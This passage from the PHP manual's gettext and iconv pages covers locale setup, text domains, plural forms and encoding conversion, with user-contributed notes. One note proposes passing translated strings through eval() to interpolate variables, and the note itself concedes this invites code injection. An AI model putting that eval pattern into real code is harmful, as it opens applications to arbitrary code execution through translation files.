                                        $this->_language . ".UTF8",
                                        $this->_language . ".utf-8",
                                        $this->_language . ".UTF-8",
                                        $this->_language,
                                        CC_LANG);
        // if we don't get the setting we want, make sure to complain!
        if ( ( $locale_set != $this->_language && CC_LANG == $locale_set) ||
             empty($locale_set) )
        {
            CCDebug::Log(
                sprintf("Tried: setlocale to '%s', but could only set to '%s'.",                        $this->_language, $locale_set) );
        }

        $bindtextdomain_set = bindtextdomain($this->_domain,
                                  CC_LANG_LOCALE . "/" . $this->_locale_pref );
        if ( empty($bindtextdomain_set) )
            CCDebug::Log(
            sprintf("Tried: bindtextdomain, '%s', to directory, '%s', " .
                    "but received '%s'",
                    $this->_domain, CC_LANG_LOCALE . "/" . $this->_locale_pref,
                    $bindtextdomain_set) );

        bind_textdomain_codeset($this->_domain, "UTF-8");
        $textdomain_set = textdomain($this->_domain);
        if ( empty($textdomain_set) )
            CCDebug::Log(sprintf("Tried: set textdomain to '%s', but got '%s'",
                                 $this->_domain, $textdomain_set));

    } // end of method Init ()
przemekkus at interia dot pl 05-Jun-2006 11:54
I had problems with German "umlauts" when using gettext. So, this is how it can be resolved:

I've put these lines itom my PHP code:

$domain = "messages";
bindtextdomain($domain, "path_to_messages_dir");
bind_textdomain_codeset($domain, 'ISO-8859-15');
textdomain($domain);

It works!
duckx at mezimail dot com 24-May-2004 11:33
First the the url of the gettext manual changed:
http://www.gnu.org/software/gettext/manual/

Secondly, lets explain a little bit what this fonction does.
By default, gettext will use the LC_CTYPE of the language you choose (for example fr_FR).
This LC_CTYPE is extracted from your locales.alias file in your configuration dir (Should be /etc/locales.alias).
By default, the encoding is frequently iso-8859-1.

So if you want to make your site utf-8 aware, you need to bind your domain with the right encoding.
Here is a sample:
<?php
   $locale="fr_FR.UTF-8"
   setlocale(LC_MESSAGES,  $locale);
   $domain = 'your_text_domain';
   bindtextdomain($domain, './translations_path');
   textdomain($domain);
   bind_textdomain_codeset($domain, 'UTF-8');

?>

As quoted in other notes, the translations path should be like
/translations_path
   /de_DE/
       /LC_MESSAGES
   /fr_FR/
       /LC_MESSAGES
   ...

Your translation goes in the LC_MESSAGES dirs ... Hopes this helps :)
Gettext Functions
bindtextdomain
Gettext Functions


Sets the path for a domain

bind_textdomain_codeset
dcgettext
Gettext Functions
PHP Manual

bindtextdomain

(PHP 4, PHP 5)

bindtextdomain — Sets the path for a domain

Description

string bindtextdomain ( string $domain , string $directory )

The bindtextdomain() function sets the path for a domain.

Parameters

domain

The domain

directory

The directory path

Return Values

The full pathname for the domain currently being set.

Examples

Example #1 bindtextdomain() example

<?php

$domain = 'myapp';
echo bindtextdomain($domain, '/usr/share/myapp/locale');

?>

The above example will output:

/usr/share/myapp/locale

User Contributed Notes

There are no user contributed notes for this page.
bind_textdomain_codeset
dcgettext
Gettext Functions


Overrides the domain for a single lookup

bindtextdomain
dcngettext
Gettext Functions
PHP Manual

dcgettext

(PHP 4, PHP 5)

dcgettext — Overrides the domain for a single lookup

Description

string dcgettext ( string $domain , string $message , int $category )

This function allows you to override the current domain for a single message lookup.

Parameters

domain

The domain

message

The message

category

The category

Return Values

A string on success.

See Also

  • gettext() - Lookup a message in the current domain

User Contributed Notes

zak at nucleus dot com 04-Dec-2000 03:05
The category argument allows a specific category of the locale settings to be used for fetching a message.  Valid categories are:

LC_CTYPE, LC_NUMERIC, LC_TIME, LC_COLLATE, LC_MONETARY, LC_MESSAGES and LC_ALL.

Note that the category must be specified with a numeric value, instead of the constant name.  The values are:

LC_CTYPE        0
LC_NUMERIC      1
LC_TIME         2
LC_COLLATE      3
LC_MONETARY     4
LC_MESSAGES     5
LC_ALL          6
bindtextdomain
dcngettext
Gettext Functions


Plural version of dcgettext

dcgettext
dgettext
Gettext Functions
PHP Manual

dcngettext

(PHP 4 >= 4.2.0, PHP 5)

dcngettext — Plural version of dcgettext

Description

string dcngettext ( string $domain , string $msgid1 , string $msgid2 , int $n , int $category )

This function allows you to override the current domain for a single plural message lookup.

Parameters

domain

The domain

msgid1

msgid2

n

category

Return Values

A string on success.

See Also

  • ngettext() - Plural version of gettext

User Contributed Notes

There are no user contributed notes for this page.
dcgettext
dgettext
Gettext Functions


Override the current domain

dcngettext
dngettext
Gettext Functions
PHP Manual

dgettext

(PHP 4, PHP 5)

dgettext — Override the current domain

Description

string dgettext ( string $domain , string $message )

The dgettext() function allows you to override the current domain for a single message lookup.

Parameters

domain

The domain

message

The message

Return Values

A string on success.

See Also

  • gettext() - Lookup a message in the current domain

User Contributed Notes

viral at noeticsolutions dot com 30-Mar-2006 02:42
While using this function, remember to call bindtextdomain for as many domains as you want to use in your application.  For example, if I have module1 and module2 as 2 separate domains in the same application, you can do the following:

bindtextdomain("module1", "//path/to/my/locale/folder");
bindtextdomain("module2", "//path/to/my/locale/folder");
textdomain("module1");

echo _("Label1"); // this call will get the message from module1
echo dgettext("module2", "Label1"); // this call will get the message from module2

===
Viral Shah
dcngettext
dngettext
Gettext Functions


Plural version of dgettext

dgettext
gettext
Gettext Functions
PHP Manual

dngettext

(PHP 4 >= 4.2.0, PHP 5)

dngettext — Plural version of dgettext

Description

string dngettext ( string $domain , string $msgid1 , string $msgid2 , int $n )

The dngettext() function allows you to override the current domain for a single plural message lookup.

Parameters

domain

The domain

msgid1

msgid2

n

Return Values

A string on success.

See Also

  • ngettext() - Plural version of gettext

User Contributed Notes

There are no user contributed notes for this page.
dgettext
gettext
Gettext Functions


Lookup a message in the current domain

dngettext
ngettext
Gettext Functions
PHP Manual

gettext

(PHP 4, PHP 5)

gettext — Lookup a message in the current domain

Description

string gettext ( string $message )

Looks up a message in the current domain.

Parameters

message

The message being translated.

Return Values

Returns a translated string if one is found in the translation table, or the submitted message if not found.

Examples

Example #1 gettext()-check

<?php
// Set language to German
putenv('LC_ALL=de_DE');
setlocale(LC_ALL, 'de_DE');

// Specify location of translation tables
bindtextdomain("myPHPApp", "./locale");

// Choose domain
textdomain("myPHPApp");

// Translation is looking for in ./locale/de_DE/LC_MESSAGES/myPHPApp.mo now

// Print a test message
echo gettext("Welcome to My PHP Application");

// Or use the alias _() for gettext()
echo _("Have a nice day");
?>

Notes

Note:

You may use the underscore character '_' as an alias to this function.

Note:

Setting a language isn't enough for some systems and the putenv() should be used to define the current locale.

See Also

  • setlocale() - Set locale information

User Contributed Notes

bla at taxistop dot be 06-Jan-2011 06:47
For me it is sufficient to call setlocale() with a string like "nl_BE" as the second parameter, to make gettext() work. Just plain "nl" was not enough.

Ditto when using an environment variable like LANG: "en", "fr", "nl", "de" are not enough: I have to specify the country, too.
surfchen at gmail dot com 04-Mar-2010 12:26
As of php 5.3, you can use the following code to get the preferred locale of the http agent.

<?php
$locale = Locale::acceptFromHttp($_SERVER['HTTP_ACCEPT_LANGUAGE']);
?>
mario dot ugedo at gmail dot com 10-Sep-2009 08:03
It's very important call a bind_textdomain_codeset(..) function.

Linux localhost 2.6.28-14-generic
Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.2

<?php
// Set language to Spanish
//setlocale(LC_ALL, 'es_ES'); // es_ES not in the server
setlocale(LC_MESSAGES, 'es_ES.utf8');
// run ok with LC_MESSAGES

// Specify location of translation tables
bindtextdomain("myAppPhp", "includes/locale");
bind_textdomain_codeset("myAppPhp", 'UTF-8');
// It's very important

// Choose domain
textdomain("myAppPhp");

// Translation is looking for in includes/locale/es_ES.utf8/LC_MESSAGESmyAppPhp.mo now
?>
<p><?=_("Welcome to My PHP Application");?></p>
<p><?=gettext("Have a nice day");?></p>

Ah, it's very important use locale should be install in the server
shell command "locale -a"
too see less /etc/locale.alias

The hosting server could be all locale installed

good luck
martinalex at tlonstruct.com 28-Aug-2009 06:25
On Windows (XP Pro SP3) it was not sufficient to set
the locale
<?php setlocale(LC_ALL, "de"); ?>

Prior to that I had to set the variable for the environment

<?php
putenv("LC_ALL=de"); // german
setlocale(LC_ALL, "de");
?>

Without putenv no translation was found!
nonproffessional at clockworkgeek dot com 25-Aug-2009 06:46
If you want to have variables in your text to be translated the usual way would be with string formatting like so:
<?php
printf(gettext("Hello %s!"), $world);
?>
This works because the string substitution is made after gettext performs. The human translator needs to be aware of what %s represents, when there are many variables in a line it can get confusing.

We can evaluate the string as PHP code instead of using string formatting:
<?php
eval('echo "' . addslashes(gettext('Hello $world!')) . '";');
?>
Notice the text to be translated is in single quotes so $world does not get evaluated too soon. Quotes in the translated text are escaped to prevent bad parsing.

Now the human translator will see $world which is more meaningful than "%s". He must be careful not to translate the variable name but leave it intact.
It is also easier to change the order in which variables are used instead of printf's arcane "%2$s". For advanced use the translator could take advantage of functions like ucwords().

The downside of this method is any PHP code can be evaluated which might be damaging. This is equivalent to an injection attack. Make sure to vet all translated text to prevent other code sneaking in.
daemonraco at yahoo dot com dot ar 24-Apr-2007 02:06
I had a problem like "adino at adino dot sk" said, so I did the unsetting of LANG ($ unset LANG), but it was not sufficient, I had to unset the environment variable LANGUAGE too.

I tried to do this using "sudo", but it didn't works, so I had to change to root using "su"

If you need to know, I use Musix (a sub-distro of Devia).

I hope this will help you, Seeya! ^__^'
vinaykuruvila at gmail dot com 03-Mar-2006 02:55
If like me, you are stuck with making a lot of code localizable, you have to go through all your php files and wrap all srings in _("string"). Here's an elisp function which can help you out.

This function enables you to highlight some text in an emacs buffer and make it a localizable string using the keyboard shortcut C-l (Ctrl and l). If the first character highlighted is " or ', then it assumes the text is in php-context and changes it to: _(HIGHLIGHTED_TEXT). Otherwise it assumes the text is in html-context and changes it to <?=_('HIGHLIGHTED_TEXT')?>

The shortcut C-k can be used for translating parts of php strings which contain html tabs. We dont want to translate the entire string including the tabs, so we highlight just the substring that needs to be translated and use C-k.

To use it, do either of:
Copy and paste the following code into your .emacs file. This would permanently associate the keyboard shortcut C-l with this function.
Save the code in a new file ending with the .el extension. Evaluate it using M-x eval-buffer. This makes the C-l keyboard shortcut only last for the current Emacs session.

Code
;author: Vinay Kuruvila March 01 2006
;updated to handle php strings containing html tabs

;makes the text starting at left and ending at right in the
;current buffer a localizable string, assuming that the
;string is within php context
(defun make-localizable-string-in-php-context(left right)
(goto-char left)
(insert "_(")
(goto-char (+ right 2))
(insert ")")
)

;makes the text starting at left and ending at right in the
;current buffer a localizable string, assuming that the
;string is within html context
(defun make-localizable-string-in-html-context(left right)
(goto-char left)
(insert "<?= _('")
(goto-char (+ right 7))
(insert "')?>")
)

;makes the highlighted text a localizable string
;uses php-context localization if the first char highlighted
;is " or '
;otherwise uses html-context localization
(defun make-localizable-string()
(interactive)

;find the positions of the left and right ends of
;the highlighted text
(if (> (point) (mark))
(progn
(setq right (point))
(setq left (mark))
)
(progn
(setq right (mark))
(setq left (point))
)
)

;determine php-context or html-context and dispatch
(if (or (char-equal (char-after left) ?\") (char-equal (char-after left) ?'))
(make-localizable-string-in-php-context left right)
(make-localizable-string-in-html-context left right)
)
(deactivate-mark)
)

;to handle php strings which contain html tabs
;we dont want to translate the html tabs
(defun make-localizable-string-within-php-string ()
(interactive)

;find the positions of the left and right ends of
;the highlighted text
(if (> (point) (mark))
(progn
(setq right (point))
(setq left (mark))
)
(progn
(setq right (mark))
(setq left (point))
)
)
(goto-char left)
(insert "\". _(\"")
(goto-char (+ right 6))
(insert "\").\"")
(deactivate-mark)
)

;assigns a keyboard shortcut
(global-set-key "\C-l" 'make-localizable-string)
(global-set-key "\C-k" 'make-localizable-string-within-php-string)
suchy(d)ivan(a)gmail.com 10-Dec-2005 04:35
Default behavior is name .mo file equally in every language version:
===
locale_dir

--- en_US
------ LC_MESSAGES
--------- lang.mo

--- sk_SK
------ LC_MESSAGES
--------- lang.mo
===

I think, better form is:
===
locale_dir

--- en_US
------ LC_MESSAGES
--------- en.mo

--- sk_SK
------ LC_MESSAGES
--------- sk.mo
===

Then the following code works very well (surprisingly on win32 too), and you don't need restart apache and do other confusing things:

<?php
$gettext_domain = 'sk'; // change by language
setlocale(LC_ALL, 'sk_SK.UTF-8'); // change by language, directory name sk_SK, not sk_SK.UTF-8
bindtextdomain($gettext_domain, "lang");
textdomain($gettext_domain);
bind_textdomain_codeset($gettext_domain, 'UTF-8');
?>

Have nice day :-)
smerf(a)druid(d)if(d)uj(d)edu(d)pl 31-Oct-2005 01:38
Gettext translations are cached. If you change *.mo files your page may not be translated as expected. Here's simple workaround which does not require restarting webserver (I know, this is just a dirty hack):

<?php
function initialize_i18n($locale) {
    putenv('LANG='.$locale);
    setlocale(LC_ALL,"");
    setlocale(LC_MESSAGES,$locale);
    setlocale(LC_CTYPE,$locale);
    $domains = glob($locales_root.'/'.$locale.'/LC_MESSAGES/messages-*.mo');
    $current = basename($domains[0],'.mo');
    $timestamp = preg_replace('{messages-}i','',$current);
    bindtextdomain($current,$locales_root);
    textdomain($current);
    }
?>

to make this work you have to put your locale inside file messages-[unix_time].mo and use this name (without .mo) as your domain to fool caching mechanism (domain names differ)

msgfmt messages.po -o messages-`date +%s`.mo

for me this works fine (although this is not very elegant solution)
florent at eledo dot com 30-Aug-2005 07:05
Take care when extracting the strings from the source files : if your source files are not encoded in ascii, then xgettext must be used with the --from-code option, and the generated .po file is *always* UTF-8 (even if you used a different --from-code charset).

The usage of gettext will not work later on strings which include non ascii caracters. For make it working, you have to translate the .po file to your proper charset with msgconv.

Example :
my source files are encoded in iso-8859-1
$ xgettext --from-code=iso-8859-1 -n *.php -o myapp.po
==> myapp.po is in UTF-8 (and generated .mo files will not work with gettext).
I have to convert it to iso-8859-1 before translating :
$ msgconv --to-code=iso-8859-1 myapp.po -o myapp.po
...and now translate the file.
adino at adino dot sk 20-May-2003 07:23
If you 're experiencing problems like gettext() is not working and you're getting translated text only occassionaly use: unset LANG before starting apache.
Next thing is that you have to restart apache after you 've changed .mo files because they're treated something like shared libraries.
I've only tested this with Linux (Sourcemage Linux distro, Mandrake) but it might be true for others as well.
hardy at acm dot org 18-Mar-2003 09:12
After many hours of tests/debug I found this behaviour in Red Hat 7.3 (I don't  test with other versions/distros)

The i18n settings doesn't work if not exits the right country code under
/usr/lib/locale/. On my original instalation I just haved /usr/lib/locale/en* files, so after reinstall the glibc-common package the example showed here it works !.

* To force reinstall of the package

     rpm -i --force glibc-common-2.2.5-34.i386.rpm

* The working example $HOME/i18n.php

----begin----
#!/usr/bin/php
<?php
// Current locale settings
echo "Current i18n:".setlocale(LC_ALL, 0)."\n\n";

// i18n support information here
$language = 'es_ES';
$newLocale=setlocale (LC_ALL, $language);
echo "After i18n:$newLocale\n\n";

// Set the text domain as 'messages'
$domain = 'messages';
bindtextdomain($domain, "./locale");
textdomain($domain);

echo gettext("The string must be here\n");
?>
----end----

* My $HOME/locale/es_ES/LC_MESSAGES/messages.po

----begin----
# SOME DESCRIPTIVE TITLE.
# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
# This file is distributed under the same license as the PACKAGE package.
# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
#
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: PACKAGE VERSION\n"
"POT-Creation-Date: 2003-03-18 10:52+0400\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
"Language-Team: LANGUAGE <LL@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=ISO-8859-1\n"
"Content-Transfer-Encoding: 8bit\n"

#: i18n.php:16
msgid "The string must be here\n"
msgstr "La cadena debe ir aquí\n"
----end----

I hope this helps to you

Thanks
Hardy Beltran Monasterios
jespersaNOSPAM at diku dot NO_SPAM dot dk 05-May-2002 05:27
There's a good tutorial to the GetText tools used with PHP at http://zez.org/article/articleview/42
The only modification I needed to do was to use the correct ISO-language/country-codes (don't know the ISO number) and call setlocale.
helloworld.php:

<?php
putenv("LC_ALL=da_DK"); // For danish/Denmark
setlocale(LC_ALL, "");

// ./locale/da/LC_MESSAGES holds the helloworld.mo file
bindtextdomain("helloworld", "./locale");
textdomain("helloworld");

print(gettext("Hello world!"));
?>

I had a lot of trouble getting this to work on Red Hat (Yellow Dog) Linux though.
iguy at ionsphere dot org 04-Mar-2001 08:18
Depending on the implementation of gettext used you might have to call the setlocale(LC_ALL, "") command.
So your example code would be

<?php

// Set language to German
putenv ("LANG=de");

// set the locale into the instance of gettext
setlocale(LC_ALL, "");

// Specify location of translation tables
bindtextdomain ("myPHPApp", "./locale");

// Choose domain
textdomain ("myPHPApp");

// Print a test message
print (gettext ("Welcome to My PHP Application"));
?>

NOTE:  If setlocale returns NULL the LANG specified is invalid and "not supported".
dngettext
ngettext
Gettext Functions


Plural version of gettext

gettext
textdomain
Gettext Functions
PHP Manual

ngettext

(PHP 4 >= 4.2.0, PHP 5)

ngettext — Plural version of gettext

Description

string ngettext ( string $msgid1 , string $msgid2 , int $n )

The plural version of gettext(). Some languages have more than one form for plural messages dependent on the count.

Parameters

msgid1

msgid2

n

Return Values

Returns correct plural form of message identified by msgid1 and msgid2 for count n.

Examples

Example #1 ngettext() example

<?php

setlocale(LC_ALL, 'cs_CZ');
printf(ngettext("%d window", "%d windows", 1), 1); // 1 okno
printf(ngettext("%d window", "%d windows", 2), 2); // 2 okna
printf(ngettext("%d window", "%d windows", 5), 5); // 5 oken

?>

User Contributed Notes

hek at theeks dot net 19-Aug-2009 11:07
Beware of one difference between the GNU gettext API and the PHP binding of it, which is that the GNU gettext functions that accept a $count parameter all expect (indeed, being compiled C, require) that $count be unsigned, while the PHP binding does not.

Thus, the PHP gettext functions will happily accept negative numbers. The one potentially irritating consequence of this is that -1 is treated as plural, which sits well with some people and not so well with others.  (As a picky native speaker of English, my personal opinion is that both "the temperature is minus one degree Fahrenheit" and "four apples minus five apples leaves minus one apple" but others may feel that "four apples minus five apples leaves minus one apples" sounds better.)

The upshot: You may want to abs($count) before passing numbers to gettext.

Bonus points: If your application includes user preferences, you might offer a "treat -1 as singular" option to your users, then choose $count or abs($count) to pass to gettext based on each user's preference.
peter at ints dot net 14-Dec-2008 11:26
Example for russian lang:
file.po:
    ...
    "Plural-Forms: nplurals=3; plural=n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2;\n"
    ...
    msgid "File"
    msgid_plural "Files"
    msgstr[0] "Файл"
    msgstr[1] "Файла"
    msgstr[2] "Файлов"
    ...

file.php
    ...
    echo ngettext("File", "Files", $number);
    ...
stnt at ukr dot net 13-Jan-2008 12:51
Another ready to use function for russian plural implementation:

<?php
function plural_str ($i, $str1, $str2, $str3){
    function plural ($a){
        if ($a%10==1 && $a%100!=11){ return 0; }
        elseif($a%10>=2 && $a%10<=4 && ($a%100<10 || $a%100>=20)) { return 1; }
        else {
        return  2;
        }
    }
    $plural= plural ($i);
    switch ($plural) {
        case 0:
            $out_str = $str1;
            break;
        case 1:
            $out_str = $str2;
            break;
        default: $out_str = $str3;
    }
    return $out_str;
}

//// Usage:
$n = 3;
echo $n .' '. plural_str($n, 'тетрадь', 'тетради', 'тетрадей');
//// Output: '3 тетради'
?>
kontakt at somplatzki dot de 25-May-2007 02:47
It's useful to know how the .po-file has to look like when using ngettext:

msgid "item"
msgid_plural "items"
msgstr[0] "Produkt"
msgstr[1] "Produkte"

In php:

echo ngettext('item', 'items', $number);
tokul at users dot sourceforge dot net 10-Dec-2006 03:56
According to GNU gettext manual third argument is unsigned long integer. It must be positive number. If n is negative, it might be evaluated incorrectly in some languages.
nikolai dot zujev at gmail dot com 21-Mar-2006 01:36
This is an implementation for a word ending in russian lang. Also as I know polish and similar langs use same rules:

<?php
/**
 * Returns:
 *   0, if $n == 1, 21, 31, 41, ...
 *   1, if $n == 2..4, 22..24, 32..34, ...
 *   2, if $n == 5..20, 25..30, 35..40, ...
 */
function plural( $n )
{
    if ( $n % 10 == 1 && $n % 100 != 11 )
    {
        return 0;
    }

    if ( $n % 10 >= 2 && $n % 10 <= 4 && ( $n % 100 < 10 || $n % 100 >= 20 ) )
    {
        return 1;
    }

    return 2;
}

// usage
for ( $i = 0; $i < 100; $i++ )
{
    $x = plural( $i );

    printf(
        "%d тетрад%s<br/>\n", $i,
         ( 0 == $x ? 'ь' : ( 1 == $x ? 'и' : 'ей' ) )
    );
}
?>

Output:
0 тетрадей
1 тетрадь
2 тетради
3 тетради
4 тетради
5 тетрадей
6 тетрадей
7 тетрадей
8 тетрадей
9 тетрадей
10 тетрадей
...

Also here is short version:

<?php
$n = 17;
print ($n%10==1 && $n%100!=11 ? 0 : ($n%10>=2 && $n%10<=4 && ($n%100<10 || $n%100>=20) ? 1 : 2));
?>

output: 2
mike-php at emerge2 dot com 03-Nov-2004 12:53
Section 10.2.5 in the GNU gettext manual explains the ngettext function:

http://www.gnu.org/software/gettext/manual/

(Sorry, but the Add Note function prevents me from including a long URL which points right to that section of the manual.)
gettext
textdomain
Gettext Functions


Sets the default domain

ngettext
iconv
Gettext Functions
PHP Manual

textdomain

(PHP 4, PHP 5)

textdomain — Sets the default domain

Description

string textdomain ( string $text_domain )

This function sets the domain to search within when calls are made to gettext(), usually the named after an application.

Parameters

text_domain

The new message domain, or NULL to get the current setting without changing it

Return Values

If successful, this function returns the current message domain, after possibly changing it.

User Contributed Notes

ninja (without a) at informance dot dot dot info 14-Oct-2010 09:00
When you set a text domain, it (obviously) erases the previous one.

This can be a problem when you use nested includes in which there can be textdomain() calls with different text domains. After returning from the include, your textdomain is changed, and the rest of the parent script fails in translating the remaining sentences.

I wrote these two small functions to avoid that. You should put the whole code into a file which you require_once in every script that needs gettext functionalities. Then, use only set_textdomain() and restore_textdomain() at the beginning and the end of every script/function that sets a text domain.

A call to set_textdomain() MUST correspond to a call to restore_textdomain(), and there is no limit in how many nested calls are done.

One optimization is done here: when the new text domain is the same as the current one, no change is made, and restore_textdomain() will be aware of this so you can still call it safely.

<?php
$_td_stack = array(); // text domains stack

/**
 * Sets a new text domain after recording the current one
 * so it can be restored later with restore_textdomain().
 *
 * It's possible to nest calls to these two functions.
 * @param string the new text domain to set
 */
function set_textdomain($td)
{
    global $_td_stack;

    $old_td = textdomain(NULL);

    if ($old_td)
    {
        if (!strcmp($old_td, $td))
        {
            array_push($_td_stack, false);
        }
        else
        {
            array_push($_td_stack, $old_td);
        }
    }

    textdomain($td);
}

/**
 * Restore the text domain active before the last call to
 * set_textdomain().
 */
function restore_textdomain()
{
    global $_td_stack;

    $old_td = array_pop($_td_stack);

    if ($old_td)
    {
        textdomain($old_td);
    }
}
?>
ipso at snappymail dot ca 27-Apr-2007 11:26
I was having very strange issues with gettext only setting the locale once per Apache process (non-threaded), until I found this bug report:

http://bugs.php.net/bug.php?id=21965

It almost seemed like gettext was caching the data once per process, but in fact calling textdomain() fixed the issue for me.
ngettext
iconv
Gettext Functions


iconv

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • iconv Functions
    • iconv_get_encoding — Retrieve internal configuration variables of iconv extension
    • iconv_mime_decode_headers — Decodes multiple MIME header fields at once
    • iconv_mime_decode — Decodes a MIME header field
    • iconv_mime_encode — Composes a MIME header field
    • iconv_set_encoding — Set current setting for character encoding conversion
    • iconv_strlen — Returns the character count of string
    • iconv_strpos — Finds position of first occurrence of a needle within a haystack
    • iconv_strrpos — Finds the last occurrence of a needle within a haystack
    • iconv_substr — Cut out part of a string
    • iconv — Convert string to requested character encoding
    • ob_iconv_handler — Convert character encoding as output buffer handler

User Contributed Notes

There are no user contributed notes for this page.
textdomain
Introduction
Human Language and Character Encoding Support


Introduction

This module contains an interface to iconv character set conversion facility. With this module, you can turn a string represented by a local character set into the one represented by another character set, which may be the Unicode character set. Supported character sets depend on the iconv implementation of your system. Note that the iconv function on some systems may not work as you expect. In such case, it'd be a good idea to install the » GNU libiconv library. It will most likely end up with more consistent results.

Since PHP 5.0.0, this extension comes with various utility functions that help you to write multilingual scripts. Let's have a look at the following sections to explore the new features.

User Contributed Notes

There are no user contributed notes for this page.
iconv
Installing/Configuring
iconv


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
iconv


Requirements

You will need nothing if the system you are using is one of the recent POSIX-compliant systems because standard C libraries that are supplied in them must provide iconv facility. Otherwise, you have to get the » libiconv library installed in your system.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This extension is enabled by default, although it may be disabled by compiling with --without-iconv .

The optional --with-iconv-dir directive is used to specify the location of iconv on the system that PHP is being compiled on, otherwise only the default locations are scanned.

Note: Note to PHP 4 users
Enabling this extension requires building with --with-iconv=[DIR] , or Windows users may enable by having iconv.dll available in the systems PATH, and php_iconv.dll enabled in php.ini.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Iconv Configure Options
Name | Default | Changeable | Changelog
iconv.input_encoding | "ISO-8859-1" | PHP_INI_ALL | Available since PHP 4.0.5.
iconv.output_encoding | "ISO-8859-1" | PHP_INI_ALL | Available since PHP 4.0.5.
iconv.internal_encoding | "ISO-8859-1" | PHP_INI_ALL | Available since PHP 4.0.5.

Here's a short explanation of the configuration directives.

Warning

Some systems (like IBM AIX) use "ISO8859-1" instead of "ISO-8859-1" so this value has to be used in configuration options and function parameters.

iconv.input_encoding string

Currently this option is not used.

iconv.output_encoding string

iconv.internal_encoding string

User Contributed Notes

Justin 17-Mar-2009 09:56
Many people report problems compiling PHP on Leopard due to a libiconv issue.

This may be due to the small C test programme in ./configure.
It calls open_conv with two const * char arguments (correct), but these are NOT valid charsets to iconv. This then breaks ./configure.

AFAIK from the libiconv documentation, the PHP configure call is incorrect: this function expects two valid charset arguments. (You can see a list of valid arguments by running iconv -l).

Changing the call to:

cd = open_conv("UTF-8","ISO-8859-1")

returns a valid iconv_t number (non-negative), and configure can then continue setting up for your Makefile compile.
Installation
Resource Types
Installing/Configuring


Predefined Constants

Since PHP 4.3.0 it is possible to identify at runtime which iconv implementation is adopted by this extension.

iconv constants
Name | Type | Description
ICONV_IMPL | string | The implementation name
ICONV_VERSION | string | The implementation version

Note:

Writing implementation-dependent scripts with these constants is strongly discouraged.

Since PHP 5.0.0, the following constants are also available:

iconv constants available since PHP 5.0.0
Name | Type | Description
ICONV_MIME_DECODE_STRICT | integer | A bitmask used for iconv_mime_decode()
ICONV_MIME_DECODE_CONTINUE_ON_ERROR | integer | A bitmask used for iconv_mime_decode()

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
iconv Functions
iconv


iconv Functions

See Also

See also GNU Recode functions.

Table of Contents

  • iconv_get_encoding — Retrieve internal configuration variables of iconv extension
  • iconv_mime_decode_headers — Decodes multiple MIME header fields at once
  • iconv_mime_decode — Decodes a MIME header field
  • iconv_mime_encode — Composes a MIME header field
  • iconv_set_encoding — Set current setting for character encoding conversion
  • iconv_strlen — Returns the character count of string
  • iconv_strpos — Finds position of first occurrence of a needle within a haystack
  • iconv_strrpos — Finds the last occurrence of a needle within a haystack
  • iconv_substr — Cut out part of a string
  • iconv — Convert string to requested character encoding
  • ob_iconv_handler — Convert character encoding as output buffer handler

User Contributed Notes

Martin Petrov 19-Oct-2009 02:05
This is edited functions utf8_to_cp1251 and cp1251_to_utf8.
Changes: Check current string encoding.

<?php
function cp1251_to_utf8($s)
  {
  if ((mb_detect_encoding($s,'UTF-8,CP1251')) == "WINDOWS-1251")
    {
    $c209 = chr(209); $c208 = chr(208); $c129 = chr(129);
    for($i=0; $i<strlen($s); $i++)
      {
      $c=ord($s[$i]);
      if ($c>=192 and $c<=239) $t.=$c208.chr($c-48);
      elseif ($c>239) $t.=$c209.chr($c-112);
      elseif ($c==184) $t.=$c209.$c209;
      elseif ($c==168)    $t.=$c208.$c129;
      else $t.=$s[$i];
      }
    return $t;
    }
  else
    {
    return $s;
    }
   }

function utf8_to_cp1251($s)
  {
  if ((mb_detect_encoding($s,'UTF-8,CP1251')) == "UTF-8")
    {
    for ($c=0;$c<strlen($s);$c++)
      {
      $i=ord($s[$c]);
      if ($i<=127) $out.=$s[$c];
      if ($byte2)
        {
        $new_c2=($c1&3)*64+($i&63);
        $new_c1=($c1>>2)&5;
        $new_i=$new_c1*256+$new_c2;
        if ($new_i==1025)
          {
          $out_i=168;
          } else {
          if ($new_i==1105)
            {
            $out_i=184;
            } else {
            $out_i=$new_i-848;
            }
          }
        $out.=chr($out_i);
        $byte2=false;
        }
        if (($i>>5)==6)
          {
          $c1=$i;
          $byte2=true;
          }
      }
    return $out;
    }
  else
    {
    return $s;
    }
  }
?>
nospam at nihonbunka dot com 15-May-2008 08:40
iconv does not convert to sjis tildes unless you do something like this

<?PHP
$string = 'where are the (~) (~) tildes?'; // This is what we start off with, you can put any string in here that contains problematic characters in utf8 format
echo ('this is what we start with = '.$string.'<BR />'); //print string at start
$conv_str = iconv('utf-8','shift-jis'.'//TRANSLIT',$string);
echo ('this is not working = '.$conv_str.'<BR />'); //Just to show that this is not working.

$rstring = preg_replace ('/~/','1bytetilde',$string);   //replace before conversion
echo ('this is modified string here = '.$rstring.'<BR />'); //This is the modified string

$conv_str2 = iconv('utf-8','shift-jis'.'//TRANSLIT',$rstring); //convert modified string
$rereplace=chr(126); //$rereplace is now a one byte tilde in shift_jis
$rerstring = preg_replace ('/1bytetilde/',$rereplace,$conv_str2); //rereplace with tildes
echo ('this is the correct result = '.$rerstring.'<BR />'); //the correct result
?>
Erel Segal - Rent a Brain 25-Mar-2007 11:32
Note that my mysql_iconv will not translate correctly the Hebrew dotting symbols (Niqqud) - they will be converted into question marks.

Here is a straightforward (and not very efficient) solution:

<?php
function utf8_to_windows1255($utf8) {
    $windows1255 = "";
